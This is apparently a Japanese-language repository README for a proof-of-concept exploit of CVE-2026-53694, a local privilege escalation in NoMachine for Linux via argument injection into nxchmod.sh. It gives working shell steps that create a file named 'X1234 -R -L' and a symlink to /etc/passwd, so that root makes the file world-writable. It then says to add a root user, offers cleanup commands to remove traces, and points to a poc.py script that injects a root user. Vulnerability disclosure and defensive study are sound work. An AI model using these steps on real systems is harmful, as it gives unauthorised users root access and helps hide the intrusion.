
CVE-2026-53694の概念実証エクスプロイトと解説:NoMachine for Linuxにおける、nxchmod.shの引数インジェクションを介したローカル権限昇格、シンボリックリンク操作によるルートアクセスを可能にします。
このリポジトリには、Linux 版 NoMachine におけるローカル権限昇格 (LPE) 脆弱性である CVE-2026-53694 の解説記事と概念実証 (PoC) が含まれています。
nxchmod.sh スクリプトにおける引数デリミタの不適切な無害化により、ローカルの非特権ユーザーが root として実行されるシステムコマンドに引数を注入できます。この引数インジェクションをシンボリックリンクと組み合わせることで、攻撃者は重要なシステムファイル (/etc/passwd など) を上書きし、権限を root に昇格させることができます。
この脆弱性はベンダーによって完全に修正されています。
この脆弱性の発見は、試行錯誤と深夜のひらめきの連続でした。発見の経緯は以下のとおりです:
/usr/NX/scripts/restricted/nxchmod.sh スクリプトが、特定のディレクトリのパーミッションを管理するために root ユーザーによって定期的に実行されていることに気づきました。chmod a+rw を適用しているのを見て、こう考えました: 保存先を自分で制御できるなら、シンボリックリンクを使って /etc/passwd を書き込み可能にできるのではないか? 標準的なシンボリックリンク (ln -s /etc/passwd /tmp/asdf) を試しましたが、失敗しました。/tmp のようなディレクトリに設定された Linux のスティッキービットにより、root ユーザーが他ユーザーの作成したシンボリックリンクを無条件に辿ることは防がれます。${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}。スクリプトはファイル名をそのまま受け取り、chmod に直接渡していました。X1234 -R -L という名前のファイルを作成しました。スクリプトが実行されると、chmod コマンドはこれを単一のファイルパスではなく引数として展開しました。-L (シンボリックリンクを辿る) と -R (再帰的) フラグを chmod コマンドに注入することで、chmod バイナリ自体にディレクトリ内で作成したシンボリックリンクを解決・追跡させ、スティッキービットの保護を完全に回避しました。/etc/passwd が書き込み可能 (a+rw) になると、新しい root ユーザーをファイルに追記し、su でそのユーザーに切り替えるだけで済みました。この脆弱性は、NoMachine が X11/Wayland ソケットのパーミッションを処理する方法に起因します。スクリプト nxchmod.sh は、root として実行される nxserver.bin デーモンによって起動されます。
脆弱な実行部分は以下のようになっています:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
攻撃者がディレクトリ構造と X1234 -R -L という名前のファイルを作成すると、root によって実行される結果のコマンドは次のようになります:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
/etc/passwd を指すシンボリックリンクが X1234 ディレクトリ内に配置されると、注入された -R および -L 引数によって chmod がシンボリックリンクを再帰的に辿るよう強制され、対象ファイルにグローバルな読み取り/書き込み権限が付与されます。
このエクスプロイトが機能するには、ターゲットシステムが以下の条件を満たしている必要があります:
この脆弱性は、シェルコマンドを使って手動で再現することも、提供されている Python スクリプトを使って自動的に再現することもできます。
/tmp/.X11-unix/ に移動し、以下のコマンドを実行して悪意のあるディレクトリ構造を作成します。
cd /tmp/.X11-unix/
# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.
脆弱性を確認し権限を昇格させた後は、以下のクリーンアップコマンドを実行してシステムの安定性を回復し、痕跡を削除します:
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
完全な自動エクスプロイトは poc.py に用意されています。このスクリプトは Wayland の要件を検証し、シンボリックリンクを設定し、nxchmod.sh の実行サイクルを待って、新しい root ユーザー (gg) を /etc/passwd に注入します。
エクスプロイトを実行するには:
python3 poc.py
この脆弱性は NoMachine によって対処されています。ユーザーは以下のバージョン以降にアップデートする必要があります: